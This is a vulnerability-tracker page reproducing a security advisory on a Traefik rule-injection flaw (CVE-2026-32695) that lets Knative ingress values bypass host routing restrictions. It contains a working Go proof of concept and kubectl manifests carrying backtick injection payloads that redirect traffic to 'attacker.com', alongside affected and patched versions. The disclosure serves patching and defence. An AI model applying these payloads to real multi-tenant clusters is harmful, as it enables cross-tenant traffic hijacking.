CVE-2026-32695Medium▾ SunlitTraefik has Knative Ingress Rule Injection that Allows Host Restriction Bypass
▾ Sunlit zone — Low / medium · no exploitation signal
impact 27.5 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Sep 12.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.5%
There is a potential vulnerability in Traefik's Kubernetes Knative, Ingress, and Ingress-NGINX providers related to rule injection.
User-controlled values are interpolated into backtick-delimited Traefik router rule expressions without escaping or validation. A malicious value containing a backtick can terminate the literal and inject additional operators into Traefik's rule language, altering the parsed rule tree. In shared or multi-tenant deployments, this can bypass host and header routing constraints and redirect unauthorized traffic to victim services.
If there are any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>Traefik's Knative provider builds router rules by interpolating user-controlled values into backtick-delimited rule expressions without escaping. In live cluster validation, Knative rules[].hosts[] was exploitable for host restriction bypass (for example tenant.example.com) || Host(attacker.com), producing a router that serves attacker-controlled hosts. Knative headers[].exact also allows rule-syntax injection and proves unsafe rule construction. In multi-tenant clusters, this can route unauthorized traffic to victim services and lead to cross-tenant traffic exposure. Severity is High in shared deployments.
Tested on Traefik v3.6.10; the vulnerable pattern appears to have been present since the Knative provider was introduced. Earlier versions with Knative provider support are expected to be affected.
The issue is caused by unsafe rule-string construction using fmt.Sprintf with backtick-delimited literals.
Incriminated code patterns:
pkg/provider/kubernetes/knative/kubernetes.go
fmt.Sprintf("Host(%v)", host)fmt.Sprintf("Header(%s,%s)", key, headers[key].Exact)fmt.Sprintf("PathPrefix(%s)", path)pkg/provider/kubernetes/ingress/kubernetes.go
fmt.Sprintf("Host(%s)", host)fmt.Sprintf("(Path(%[1]s) || PathPrefix(%[1]s/))", path)pkg/provider/kubernetes/ingress-nginx/kubernetes.go (hardening candidate; not the primary confirmed vector in this report)
fmt.Sprintf("Header(%s, %s)", c.Header, c.HeaderValue)Because inputs are inserted directly into rule expressions, a malicious value containing a backtick can terminate the literal and inject additional operators/tokens in Traefik's rule language. Example payload:
x) || Host(attacker.comWhen used as a header value in Knative rule construction, the resulting rule contains:
Header(X-Poc,x) || Host(attacker.com)This alters rule semantics and enables injection into Traefik's rule language. Depending on the field used (hosts[] vs headers[].exact) this can become a direct routing bypass.
Important scope note:
pkg/provider/kubernetes/gateway/httproute.go) already uses safer %q formatting for header/query rules and is not affected by this exact pattern.spec.rules.host is validated as DNS-1123 by the API server, which rejects backticks (so this specific host-injection payload is typically blocked).rules[].hosts[] and headers[].exact are typed as string in CRD schema with no pattern constraint.rules[].hosts[] was accepted and produced a practical host bypass. headers[].exact was also accepted and produced rule-syntax injection in generated routers.poc_build_rule.gogo run poc_build_rule.go(Host(tenant.example.com)) && (Header(X-API-Key,secret123)) && PathPrefix(/)(Host(tenant.example.com)) && (Header(X-API-Key,x) || Host(attacker.com)) && PathPrefix(/)Inline PoC code (self-contained):
package main
import (
"fmt"
"sort"
"strings"
)
func buildRuleKnative(hosts []string, headers map[string]struct{ Exact string }, path string) string {
var operands []string
if len(hosts) > 0 {
var hostRules []string
for _, host := range hosts {
hostRules = append(hostRules, fmt.Sprintf("Host(`%v`)", host))
}
operands = append(operands, fmt.Sprintf("(%s)", strings.Join(hostRules, " || ")))
}
if len(headers) > 0 {
headerKeys := make([]string, 0, len(headers))
for k := range headers {
headerKeys = append(headerKeys, k)
}
sort.Strings(headerKeys)
var headerRules []string
for _, key := range headerKeys {
headerRules = append(headerRules, fmt.Sprintf("Header(`%s`,`%s`)", key, headers[key].Exact))
}
operands = append(operands, fmt.Sprintf("(%s)", strings.Join(headerRules, " && ")))
}
if len(path) > 0 {
operands = append(operands, fmt.Sprintf("PathPrefix(`%s`)", path))
}
return strings.Join(operands, " && ")
}
func main() {
legitHeaders := map[string]struct{ Exact string }{
"X-API-Key": {Exact: "secret123"},
}
fmt.Println(buildRuleKnative([]string{"tenant.example.com"}, legitHeaders, "/"))
maliciousHeaders := map[string]struct{ Exact string }{
"X-API-Key": {Exact: "x`) || Host(`attacker.com"},
}
fmt.Println(buildRuleKnative([]string{"tenant.example.com"}, maliciousHeaders, "/"))
// Safe variant example (Gateway-style):
fmt.Println(fmt.Sprintf("Header(%q,%q)", "X-API-Key", "x`) || Host(`attacker.com"))
}
kubectl apply -f - <<'YAML'apiVersion: networking.internal.knative.dev/v1alpha1
kind: Ingress
metadata:
name: poc-host-injection
namespace: default
annotations:
# This exact key worked in live validation:
networking.knative.dev/ingress.class: "traefik.ingress.networking.knative.dev"
spec:
rules:
- hosts:
- 'tenant.example.com`) || Host(`attacker.com'
visibility: External
http:
paths:
- path: "/"
splits:
- percent: 100
serviceName: dummy
serviceNamespace: default
servicePort: 80
YAML
networking.internal.knative.dev/v1alpha1 and networking.knative.dev/v1alpha1.)(Host(tenant.example.com) || Host(attacker.com)) && PathPrefix(/).Host: attacker.com returns backend 200.kubectl apply -f - <<'YAML'apiVersion: networking.internal.knative.dev/v1alpha1
kind: Ingress
metadata:
name: poc-rule-injection
namespace: default
annotations:
networking.knative.dev/ingress.class: "traefik.ingress.networking.knative.dev"
spec:
rules:
- hosts:
- "tenant.example.com"
visibility: External
http:
paths:
- path: "/"
headers:
X-Poc:
exact: 'x`) || Host(`attacker.com'
splits:
- percent: 100
serviceName: dummy
serviceNamespace: default
servicePort: 80
YAML
|| Host(attacker.com) is present.Host: attacker.com and no expected tenant header (expected: 404 for this payload shape, because leading Host(tenant) still applies).Host: tenant.example.com and X-Poc: x (expected: 200 from backend).kubectl apply -f - <<'YAML'apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: poc-ingress-host-injection
namespace: default
annotations:
kubernetes.io/ingress.class: traefik
spec:
rules:
- host: 'tenant.example.com`) || Host(`attacker.com'
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: dummy
port:
number: 80
YAML
host must satisfy DNS-1123.Validation executed in this report:
go run and output matched expected injected rule.kind cluster (kind-traefik-poc) with Traefik v3.6.10 and Knative Serving CRDs.networking.knative.dev/ingress.class (dot). The hyphen variant was not used by the successful processing path.Host: attacker.com reached backend (200) for Knative host-injection payload.github.com/traefik/traefik/v3 < 3.6.11github.com/traefik/traefik/v3 >= 3.7.0-ea.1, < 3.7.0-ea.2github.com/traefik/traefik/v2 <= 2.11.42Upgrade to a patched release:
github.com/traefik/traefik/v3 3.6.11github.com/traefik/traefik/v3 3.7.0-ea.2Connected by shared product, vendor, weakness, or advisory.
CVE-2025-66491Medium· 5.9Traefik Inverted TLS Verification Logic in ingress-nginx Provider
GHSA-3wqc-mwfx-672pHigh· 7.5Traefik affected by Go oauth2/jws Improper Validation of Syntactic Correctness of Input vulnerability
GHSA-rvj4-q8q5-8grfMedium· 5.5ACME DNS: Azure Identity Libraries Elevation of Privilege Vulnerability
GHSA-7jmw-8259-q9jxMediumTraefik has unexpected behavior with IPv4-mapped IPv6 addresses
CVE-2024-28869High· 7.5Traefik vulnerable to denial of service with Content-length header
CVE-2026-40912High· 8.2Traefik has an StripPrefixRegex Middleware Authorization Bypass via Path/RawPath Desync